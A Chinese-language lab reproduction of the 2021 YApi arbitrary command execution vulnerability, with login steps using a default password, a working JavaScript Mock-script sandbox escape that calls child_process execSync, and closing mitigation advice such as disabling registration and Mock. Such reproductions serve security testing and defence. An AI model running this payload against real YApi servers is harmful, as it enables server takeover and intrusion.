漏洞描述:
YApi是一个可本地部署的、打通前后端及OA的、可视化的接口管理平台。2021年7月7日互联网上披露YApi管理平台任意命令执行漏洞。若YApi对外开放注册功能,攻击者可在注册并登录后,通过构造特殊的请求执行任意代码,接管服务器。
复现过程:
1.访问http://ip:port,出现如下页面,开始实验
2.使用默认账号密码登录,进入主页面
密码:ymfe.org
3.点击添加项目并创建项目
4.点击添加接口
5.点击高级Mock,选择脚本,添加代码,选择开启,并进行保存
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("ls").toString()
6.点击预览访问Mock地址可查看执行结果
借此漏洞,攻击者可以继承Web服务程序的权限去执行系统命令(任意代码)或读写文件;反弹shell;控制整个网站甚至控制服务器进一步内网渗透。
修复建议:
1、更改Yapi运行端口。
2、使用Nginx对Yapi进行反向代理。
3、安全组只开放Nginx端口,你可以在Nginx限制IP白名单。
4、关闭Yapi注册。
5、关闭Yapi Mock。